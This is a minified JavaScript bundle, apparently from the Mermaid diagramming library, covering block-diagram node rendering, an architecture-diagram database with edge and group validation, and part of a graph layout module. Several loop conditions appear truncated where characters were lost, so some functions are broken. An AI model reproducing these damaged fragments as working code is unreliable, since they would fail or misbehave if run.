C=(f-x.width)/2;qe(v).attr("transform","translate( "+(-1*f/2+C)+", "+-1*d/2+")"),m=x.height+n}let A=(f-S.width)/2;return qe(T).attr("transform","translate( "+(-1*f/2+A)+", "+(-1*d/2+m)+")"),m+=S.height+n,u.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,w.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m+i/2)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),m+=i,h.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,k.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),l.attr("style",e.style).attr("class","outer title-state").attr("x",-f/2-r).attr("y",-(d/2)-r).attr("width",f+e.padding).attr("height",d+e.padding),ti(e,l),e.intersect=function(C){return $n.rect(e,C)},s},"class_box"),o4e={rhombus:a4e,composite:oit,question:a4e,rect:sit,labelRect:lit,rectWithTitle:cit,choice:Knt,circle:hit,doublecircle:fit,stadium:uit,hexagon:Qnt,block_arrow:Znt,rect_left_inv_arrow:Jnt,lean_right:eit,lean_left:tit,trapezoid:rit,inv_trapezoid:nit,rect_right_inv_arrow:iit,cylinder:ait,start:pit,end:mit,note:r4e,subroutine:dit,fork:s4e,join:s4e,class_box:git},IC={},wz=o(async(t,e,r)=>{let n,i;if(e.link){let a;ge().securityLevel==="sandbox"?a="_top":e.linkTarget&&(a=e.linkTarget||"_blank"),n=t.insert("svg:a").attr("xlink:href",e.link).attr("target",a),i=await o4e[e.shape](n,e,r)}else i=await o4e[e.shape](t,e,r),n=i;return e.tooltip&&i.attr("title",e.tooltip),e.class&&i.attr("class","node default "+e.class),IC[e.id]=n,e.haveCallback&&IC[e.id].attr("class",IC[e.id].attr("class")+" clickable"),n},"insertNode"),l4e=o(t=>{let e=IC[t.id];X.trace("Transforming node",t.diff,t,"translate("+(t.x-t.width/2-5)+", "+t.width/2+")");let r=8,n=t.diff||0;return t.clusterNode?e.attr("transform","translate("+(t.x+n-t.width/2)+", "+(t.y-t.height/2-r)+")"):e.attr("transform","translate("+t.x+", "+t.y+")"),n},"positionNode")});function u4e(t,e,r=!1){let n=t,i="default";(n?.classes?.length||0)>0&&(i=(n?.classes??[]).join(" ")),i=i+" flowchart-label";let a=0,s="",l;switch(n.type){case"round":a=5,s="rect";break;case"composite":a=0,s="composite",l=0;break;case"square":s="rect";break;case"diamond":s="question";break;case"hexagon":s="hexagon";break;case"block_arrow":s="block_arrow";break;case"odd":s="rect_left_inv_arrow";break;case"lean_right":s="lean_right";break;case"lean_left":s="lean_left";break;case"trapezoid":s="trapezoid";break;case"inv_trapezoid":s="inv_trapezoid";break;case"rect_left_inv_arrow":s="rect_left_inv_arrow";break;case"circle":s="circle";break;case"ellipse":s="ellipse";break;case"stadium":s="stadium";break;case"subroutine":s="subroutine";break;case"cylinder":s="cylinder";break;case"group":s="rect";break;case"doublecircle":s="doublecircle";break;default:s="rect"}let u=zL(n?.styles??[]),h=n.label,f=n.size??{width:0,height:0,x:0,y:0};return{labelStyle:u.labelStyle,shape:s,labelText:h,rx:a,ry:a,class:i,style:u.style,id:n.id,directions:n.directions,width:f.width,height:f.height,x:f.x,y:f.y,positioned:r,intersect:void 0,type:n.type,padding:l??Qt()?.block?.padding??0}}async function yit(t,e,r){let n=u4e(e,r,!1);if(n.type==="group")return;let i=Qt(),a=await wz(t,n,{config:i}),s=a.node().getBBox(),l=r.getBlock(n.id);l.size={width:s.width,height:s.height,x:0,y:0,node:a},r.setBlock(l),a.remove()}async function vit(t,e,r){let n=u4e(e,r,!0);if(r.getBlock(n.id).type!=="space"){let a=Qt();await wz(t,n,{config:a}),e.intersect=n?.intersect,l4e(n)}}async function kz(t,e,r,n){for(let i of e)await n(t,i,r),i.children&&await kz(t,i.children,r,n)}async function h4e(t,e,r){await kz(t,e,r,yit)}async function f4e(t,e,r){await kz(t,e,r,vit)}async function d4e(t,e,r,n,i){let a=new cn({multigraph:!0,compound:!0});a.setGraph({rankdir:"TB",nodesep:10,ranksep:10,marginx:8,marginy:8});for(let s of r)s.size&&a.setNode(s.id,{width:s.size.width,height:s.size.height,intersect:s.intersect});for(let s of e)if(s.start&&s.end){let l=n.getBlock(s.start),u=n.getBlock(s.end);if(l?.size&&u?.size){let h=l.size,f=u.size,d=[{x:h.x,y:h.y},{x:h.x+(f.x-h.x)/2,y:h.y+(f.y-h.y)/2},{x:f.x,y:f.y}];Gbe(t,{v:s.start,w:s.end,name:s.id},{...s,arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"},void 0,"block",a,i),s.label&&(await $be(t,{...s,label:s.label,labelStyle:"stroke: #333; stroke-width: 1.5px;fill:none;",arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"}),zbe({...s,x:d[1].x,y:d[1].y},{originalPath:d}))}}}var p4e=N(()=>{"use strict";qo();qn();Vbe();c4e();tr();o(u4e,"getNodeFromBlock");o(yit,"calculateBlockSize");o(vit,"insertBlockPositioned");o(kz,"performOperations");o(h4e,"calculateBlockSizes");o(f4e,"insertBlocks");o(d4e,"insertEdges")});var xit,bit,m4e,g4e=N(()=>{"use strict";yr();qn();Dbe();pt();Ei();Mbe();p4e();xit=o(function(t,e){return e.db.getClasses()},"getClasses"),bit=o(async function(t,e,r,n){let{securityLevel:i,block:a}=Qt(),s=n.db,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`);_be(h,["point","circle","cross"],n.type,e);let d=s.getBlocks(),p=s.getBlocksFlat(),m=s.getEdges(),g=h.insert("g").attr("class","block");await h4e(g,d,s);let y=Nbe(s);if(await f4e(g,d,s),await d4e(g,m,p,s,e),y){let v=y,x=Math.max(1,Math.round(.125*(v.width/v.height))),b=v.height+x+10,T=v.width+10,{useMaxWidth:S}=a;mn(h,b,T,!!S),X.debug("Here Bounds",y,v),h.attr("viewBox",`${v.x-5} ${v.y-5} ${v.width+10} ${v.height+10}`)}},"draw"),m4e={draw:bit,getClasses:xit}});var y4e={};dr(y4e,{diagram:()=>Tit});var Tit,v4e=N(()=>{"use strict";vbe();Sbe();Abe();g4e();Tit={parser:ybe,db:Ebe,renderer:m4e,styles:Cbe}});var Ez,Sz,N4,T4e,Cz,Ya,nu,M4,w4e,Sit,I4,k4e,E4e,S4e,C4e,A4e,OC,td,PC=N(()=>{"use strict";Ez={L:"left",R:"right",T:"top",B:"bottom"},Sz={L:o(t=>`${t},${t/2} 0,${t} 0,0`,"L"),R:o(t=>`0,${t/2} ${t},0 ${t},${t}`,"R"),T:o(t=>`0,0 ${t},0 ${t/2},${t}`,"T"),B:o(t=>`${t/2},0 ${t},${t} 0,${t}`,"B")},N4={L:o((t,e)=>t-e+2,"L"),R:o((t,e)=>t-2,"R"),T:o((t,e)=>t-e+2,"T"),B:o((t,e)=>t-2,"B")},T4e=o(function(t){return Ya(t)?t==="L"?"R":"L":t==="T"?"B":"T"},"getOppositeArchitectureDirection"),Cz=o(function(t){let e=t;return e==="L"||e==="R"||e==="T"||e==="B"},"isArchitectureDirection"),Ya=o(function(t){let e=t;return e==="L"||e==="R"},"isArchitectureDirectionX"),nu=o(function(t){let e=t;return e==="T"||e==="B"},"isArchitectureDirectionY"),M4=o(function(t,e){let r=Ya(t)&&nu(e),n=nu(t)&&Ya(e);return r||n},"isArchitectureDirectionXY"),w4e=o(function(t){let e=t[0],r=t[1],n=Ya(e)&&nu(r),i=nu(e)&&Ya(r);return n||i},"isArchitecturePairXY"),Sit=o(function(t){return t!=="LL"&&t!=="RR"&&t!=="TT"&&t!=="BB"},"isValidArchitectureDirectionPair"),I4=o(function(t,e){let r=`${t}${e}`;return Sit(r)?r:void 0},"getArchitectureDirectionPair"),k4e=o(function([t,e],r){let n=r[0],i=r[1];return Ya(n)?nu(i)?[t+(n==="L"?-1:1),e+(i==="T"?1:-1)]:[t+(n==="L"?-1:1),e]:Ya(i)?[t+(i==="L"?1:-1),e+(n==="T"?1:-1)]:[t,e+(n==="T"?1:-1)]},"shiftPositionByArchitectureDirectionPair"),E4e=o(function(t){return t==="LT"||t==="TL"?[1,1]:t==="BL"||t==="LB"?[1,-1]:t==="BR"||t==="RB"?[-1,-1]:[-1,1]},"getArchitectureDirectionXYFactors"),S4e=o(function(t,e){return M4(t,e)?"bend":Ya(t)?"horizontal":"vertical"},"getArchitectureDirectionAlignment"),C4e=o(function(t){return t.type==="service"},"isArchitectureService"),A4e=o(function(t){return t.type==="junction"},"isArchitectureJunction"),OC=o(t=>t.data(),"edgeData"),td=o(t=>t.data(),"nodeData")});var Cit,vy,Az=N(()=>{"use strict";qn();La();tr();ci();PC();Cit=ur.architecture,vy=class{constructor(){this.nodes={};this.groups={};this.edges=[];this.registeredIds={};this.elements={};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir;this.clear()}static{o(this,"ArchitectureDB")}clear(){this.nodes={},this.groups={},this.edges=[],this.registeredIds={},this.dataStructures=void 0,this.elements={},Sr()}addService({id:e,icon:r,in:n,title:i,iconText:a}){if(this.registeredIds[e]!==void 0)throw new Error(`The service id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The service [${e}] cannot be placed within itself`);if(this.registeredIds[n]===void 0)throw new Error(`The service [${e}]'s parent does not exist. Please make sure the parent is created before this service`);if(this.registeredIds[n]==="node")throw new Error(`The service [${e}]'s parent is not a group`)}this.registeredIds[e]="node",this.nodes[e]={id:e,type:"service",icon:r,iconText:a,title:i,edges:[],in:n}}getServices(){return Object.values(this.nodes).filter(C4e)}addJunction({id:e,in:r}){this.registeredIds[e]="node",this.nodes[e]={id:e,type:"junction",edges:[],in:r}}getJunctions(){return Object.values(this.nodes).filter(A4e)}getNodes(){return Object.values(this.nodes)}getNode(e){return this.nodes[e]??null}addGroup({id:e,icon:r,in:n,title:i}){if(this.registeredIds?.[e]!==void 0)throw new Error(`The group id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The group [${e}] cannot be placed within itself`);if(this.registeredIds?.[n]===void 0)throw new Error(`The group [${e}]'s parent does not exist. Please make sure the parent is created before this group`);if(this.registeredIds?.[n]==="node")throw new Error(`The group [${e}]'s parent is not a group`)}this.registeredIds[e]="group",this.groups[e]={id:e,icon:r,title:i,in:n}}getGroups(){return Object.values(this.groups)}addEdge({lhsId:e,rhsId:r,lhsDir:n,rhsDir:i,lhsInto:a,rhsInto:s,lhsGroup:l,rhsGroup:u,title:h}){if(!Cz(n))throw new Error(`Invalid direction given for left hand side of edge ${e}--${r}. Expected (L,R,T,B) got ${String(n)}`);if(!Cz(i))throw new Error(`Invalid direction given for right hand side of edge ${e}--${r}. Expected (L,R,T,B) got ${String(i)}`);if(this.nodes[e]===void 0&&this.groups[e]===void 0)throw new Error(`The left-hand id [${e}] does not yet exist. Please create the service/group before declaring an edge to it.`);if(this.nodes[r]===void 0&&this.groups[r]===void 0)throw new Error(`The right-hand id [${r}] does not yet exist. Please create the service/group before declaring an edge to it.`);let f=this.nodes[e].in,d=this.nodes[r].in;if(l&&f&&d&&f==d)throw new Error(`The left-hand id [${e}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);if(u&&f&&d&&f==d)throw new Error(`The right-hand id [${r}] is modified to traverse the group boundary, but the edge does not pass through two groups.`);let p={lhsId:e,lhsDir:n,lhsInto:a,lhsGroup:l,rhsId:r,rhsDir:i,rhsInto:s,rhsGroup:u,title:h};this.edges.push(p),this.nodes[e]&&this.nodes[r]&&(this.nodes[e].edges.push(this.edges[this.edges.length-1]),this.nodes[r].edges.push(this.edges[this.edges.length-1]))}getEdges(){return this.edges}getDataStructures(){if(this.dataStructures===void 0){let e={},r=Object.entries(this.nodes).reduce((u,[h,f])=>(u[h]=f.edges.reduce((d,p)=>{let m=this.getNode(p.lhsId)?.in,g=this.getNode(p.rhsId)?.in;if(m&&g&&m!==g){let y=S4e(p.lhsDir,p.rhsDir);y!=="bend"&&(e[m]??={},e[m][g]=y,e[g]??={},e[g][m]=y)}if(p.lhsId===h){let y=I4(p.lhsDir,p.rhsDir);y&&(d[y]=p.rhsId)}else{let y=I4(p.rhsDir,p.lhsDir);y&&(d[y]=p.lhsId)}return d},{}),u),{}),n=Object.keys(r)[0],i={[n]:1},a=Object.keys(r).reduce((u,h)=>h===n?u:{...u,[h]:1},{}),s=o(u=>{let h={[u]:[0,0]},f=[u];for(;f.length>0;){let d=f.shift();if(d){i[d]=1,delete a[d];let p=r[d],[m,g]=h[d];Object.entries(p).forEach(([y,v])=>{i[v]||(h[v]=k4e([m,g],y),f.push(v))})}}return h},"BFS"),l=[s(n)];for(;Object.keys(a).length>0;)l.push(s(Object.keys(a)[0]));this.dataStructures={adjList:r,spatialMaps:l,groupAlignments:e}}return this.dataStructures}setElementForId(e,r){this.elements[e]=r}getElementById(e){return this.elements[e]}getConfig(){return Vn({...Cit,...Qt().architecture})}getConfigField(e){return this.getConfig()[e]}}});var Ait,_z,_4e=N(()=>{"use strict";Uf();pt();r0();Az();Ait=o((t,e)=>{nl(t,e),t.groups.map(r=>e.addGroup(r)),t.services.map(r=>e.addService({...r,type:"service"})),t.junctions.map(r=>e.addJunction({...r,type:"junction"})),t.edges.map(r=>e.addEdge(r))},"populateDb"),_z={parser:{yy:void 0},parse:o(async t=>{let e=await bs("architecture",t);X.debug(e);let r=_z.parser?.yy;if(!(r instanceof vy))throw new Error("parser.parser?.yy was not a ArchitectureDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Ait(e,r)},"parse")}});var _it,D4e,L4e=N(()=>{"use strict";_it=o(t=>` + .edge { + stroke-width: ${t.archEdgeWidth}; + stroke: ${t.archEdgeColor}; + fill: none; + } + + .arrow { + fill: ${t.archEdgeArrowColor}; + } + + .node-bkg { + fill: none; + stroke: ${t.archGroupBorderColor}; + stroke-width: ${t.archGroupBorderWidth}; + stroke-dasharray: 8; + } + .node-icon-text { + display: flex; + align-items: center; + } + + .node-icon-text > div { + color: #fff; + margin: 1px; + height: fit-content; + text-align: center; + overflow: hidden; + display: -webkit-box; + -webkit-box-orient: vertical; + } +`,"getStyles"),D4e=_it});var Lz=Da((O4,Dz)=>{"use strict";o((function(e,r){typeof O4=="object"&&typeof Dz=="object"?Dz.exports=r():typeof define=="function"&&define.amd?define([],r):typeof O4=="object"?O4.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(O4,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=28)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(5);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp?(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)):this.labelPosHorizontal=="right"&&this.setWidth(p+this.labelWidth)),this.labelHeight&&(this.labelPosVertical=="top"?(this.rect.y-=this.labelHeight,this.setHeight(m+this.labelHeight)):this.labelPosVertical=="center"&&this.labelHeight>m?(this.rect.y-=(this.labelHeight-m)/2,this.setHeight(this.labelHeight)):this.labelPosVertical=="bottom"&&this.setHeight(m+this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return this.inclusionTreeDepth},h.prototype.transform=function(d){var p=this.rect.x;p>s.WORLD_BOUNDARY?p=s.WORLD_BOUNDARY:p<-s.WORLD_BOUNDARY&&(p=-s.WORLD_BOUNDARY);var m=this.rect.y;m>s.WORLD_BOUNDARY?m=s.WORLD_BOUNDARY:m<-s.WORLD_BOUNDARY&&(m=-s.WORLD_BOUNDARY);var g=new u(p,m),y=d.inverseTransformPoint(g);this.setLocation(y.x,y.y)},h.prototype.getLeft=function(){return this.rect.x},h.prototype.getRight=function(){return this.rect.x+this.rect.width},h.prototype.getTop=function(){return this.rect.y},h.prototype.getBottom=function(){return this.rect.y+this.rect.height},h.prototype.getParent=function(){return this.owner==null?null:this.owner.getParent()},t.exports=h}),(function(t,e,r){"use strict";var n=r(0);function i(){}o(i,"FDLayoutConstants");for(var a in n)i[a]=n[a];i.MAX_ITERATIONS=2500,i.DEFAULT_EDGE_LENGTH=50,i.DEFAULT_SPRING_STRENGTH=.45,i.DEFAULT_REPULSION_STRENGTH=4500,i.DEFAULT_GRAVITY_STRENGTH=.4,i.DEFAULT_COMPOUND_GRAVITY_STRENGTH=1,i.DEFAULT_GRAVITY_RANGE_FACTOR=3.8,i.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=1.5,i.DEFAULT_USE_SMART_IDEAL_EDGE_LENGTH_CALCULATION=!0,i.DEFAULT_USE_SMART_REPULSION_RANGE_CALCULATION=!0,i.DEFAULT_COOLING_FACTOR_INCREMENTAL=.3,i.COOLING_ADAPTATION_FACTOR=.33,i.ADAPTATION_LOWER_NODE_LIMIT=1e3,i.ADAPTATION_UPPER_NODE_LIMIT=5e3,i.MAX_NODE_DISPLACEMENT_INCREMENTAL=100,i.MAX_NODE_DISPLACEMENT=i.MAX_NODE_DISPLACEMENT_INCREMENTAL*3,i.MIN_REPULSION_DIST=i.DEFAULT_EDGE_LENGTH/10,i.CONVERGENCE_CHECK_PERIOD=100,i.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=.1,i.MIN_EDGE_LENGTH=1,i.GRID_CALCULATION_CHECK_PERIOD=10,t.exports=i}),(function(t,e,r){"use strict";function n(i,a){i==null&&a==null?(this.x=0,this.y=0):(this.x=i,this.y=a)}o(n,"PointD"),n.prototype.getX=function(){return this.x},n.prototype.getY=function(){return this.y},n.prototype.setX=function(i){this.x=i},n.prototype.setY=function(i){this.y=i},n.prototype.getDifference=function(i){return new DimensionD(this.x-i.x,this.y-i.y)},n.prototype.getCopy=function(){return new n(this.x,this.y)},n.prototype.translate=function(i){return this.x+=i.width,this.y+=i.height,this},t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(0),s=r(7),l=r(3),u=r(1),h=r(13),f=r(12),d=r(11);function p(g,y,v){n.call(this,v),this.estimatedSize=i.MIN_VALUE,this.margin=a.DEFAULT_GRAPH_MARGIN,this.edges=[],this.nodes=[],this.isConnected=!1,this.parent=g,y!=null&&y instanceof s?this.graphManager=y:y!=null&&y instanceof Layout&&(this.graphManager=y.graphManager)}o(p,"LGraph"),p.prototype=Object.create(n.prototype);for(var m in n)p[m]=n[m];p.prototype.getNodes=function(){return this.nodes},p.prototype.getEdges=function(){return this.edges},p.prototype.getGraphManager=function(){return this.graphManager},p.prototype.getParent=function(){return this.parent},p.prototype.getLeft=function(){return this.left},p.prototype.getRight=function(){return this.right},p.prototype.getTop=function(){return this.top},p.prototype.getBottom=function(){return this.bottom},p.prototype.isConnected=function(){return this.isConnected},p.prototype.add=function(g,y,v){if(y==null&&v==null){var x=g;if(this.graphManager==null)throw"Graph has no graph mgr!";if(this.getNodes().indexOf(x)>-1)throw"Node already in graph!";return x.owner=this,this.getNodes().push(x),x}else{var b=g;if(!(this.getNodes().indexOf(y)>-1&&this.getNodes().indexOf(v)>-1))throw"Source or target not in graph!";if(!(y.owner==v.owner&&y.owner==this))throw"Both owners must be this graph!";return y.owner!=v.owner?null:(b.source=y,b.target=v,b.isInterGraph=!1,this.getEdges().push(b),y.edges.push(b),v!=y&&v.edges.push(b),b)}},p.prototype.remove=function(g){var y=g;if(g instanceof l){if(y==null)throw"Node is null!";if(!(y.owner!=null&&y.owner==this))throw"Owner graph is invalid!";if(this.graphManager==null)throw"Owner graph manager is invalid!";for(var v=y.edges.slice(),x,b=v.length,T=0;T-1&&k>-1))throw"Source and/or target doesn't know this edge!";x.source.edges.splice(w,1),x.target!=x.source&&x.target.edges.splice(k,1);var S=x.source.owner.getEdges().indexOf(x);if(S==-1)throw"Not in owner's edge list!";x.source.owner.getEdges().splice(S,1)}},p.prototype.updateLeftTop=function(){for(var g=i.MAX_VALUE,y=i.MAX_VALUE,v,x,b,T=this.getNodes(),S=T.length,w=0;wv&&(g=v),y>x&&(y=x)}return g==i.MAX_VALUE?null:(T[0].getParent().paddingLeft!=null?b=T[0].getParent().paddingLeft:b=this.margin,this.left=y-b,this.top=g-b,new f(this.left,this.top))},p.prototype.updateBounds=function(g){for(var y=i.MAX_VALUE,v=-i.MAX_VALUE,x=i.MAX_VALUE,b=-i.MAX_VALUE,T,S,w,k,A,C=this.nodes,R=C.length,I=0;IT&&(y=T),vw&&(x=w),bT&&(y=T),vw&&(x=w),b=this.nodes.length){var R=0;v.forEach(function(I){I.owner==g&&R++}),R==this.nodes.length&&(this.isConnected=!0)}},t.exports=p}),(function(t,e,r){"use strict";var n,i=r(1);function a(s){n=r(6),this.layout=s,this.graphs=[],this.edges=[]}o(a,"LGraphManager"),a.prototype.addRoot=function(){var s=this.layout.newGraph(),l=this.layout.newNode(null),u=this.add(s,l);return this.setRootGraph(u),this.rootGraph},a.prototype.add=function(s,l,u,h,f){if(u==null&&h==null&&f==null){if(s==null)throw"Graph is null!";if(l==null)throw"Parent node is null!";if(this.graphs.indexOf(s)>-1)throw"Graph already in this graph mgr!";if(this.graphs.push(s),s.parent!=null)throw"Already has a parent!";if(l.child!=null)throw"Already has a child!";return s.parent=l,l.child=s,s}else{f=u,h=l,u=s;var d=h.getOwner(),p=f.getOwner();if(!(d!=null&&d.getGraphManager()==this))throw"Source not in this graph mgr!";if(!(p!=null&&p.getGraphManager()==this))throw"Target not in this graph mgr!";if(d==p)return u.isInterGraph=!1,d.add(u,h,f);if(u.isInterGraph=!0,u.source=h,u.target=f,this.edges.indexOf(u)>-1)throw"Edge already in inter-graph edge list!";if(this.edges.push(u),!(u.source!=null&&u.target!=null))throw"Edge source and/or target is null!";if(!(u.source.edges.indexOf(u)==-1&&u.target.edges.indexOf(u)==-1))throw"Edge already in source and/or target incidency list!";return u.source.edges.push(u),u.target.edges.push(u),u}},a.prototype.remove=function(s){if(s instanceof n){var l=s;if(l.getGraphManager()!=this)throw"Graph not in this graph mgr";if(!(l==this.rootGraph||l.parent!=null&&l.parent.graphManager==this))throw"Invalid parent node!";var u=[];u=u.concat(l.getEdges());for(var h,f=u.length,d=0;d=s.getRight()?l[0]+=Math.min(s.getX()-a.getX(),a.getRight()-s.getRight()):s.getX()<=a.getX()&&s.getRight()>=a.getRight()&&(l[0]+=Math.min(a.getX()-s.getX(),s.getRight()-a.getRight())),a.getY()<=s.getY()&&a.getBottom()>=s.getBottom()?l[1]+=Math.min(s.getY()-a.getY(),a.getBottom()-s.getBottom()):s.getY()<=a.getY()&&s.getBottom()>=a.getBottom()&&(l[1]+=Math.min(a.getY()-s.getY(),s.getBottom()-a.getBottom()));var f=Math.abs((s.getCenterY()-a.getCenterY())/(s.getCenterX()-a.getCenterX()));s.getCenterY()===a.getCenterY()&&s.getCenterX()===a.getCenterX()&&(f=1);var d=f*l[0],p=l[1]/f;l[0]d)return l[0]=u,l[1]=m,l[2]=f,l[3]=C,!1;if(hf)return 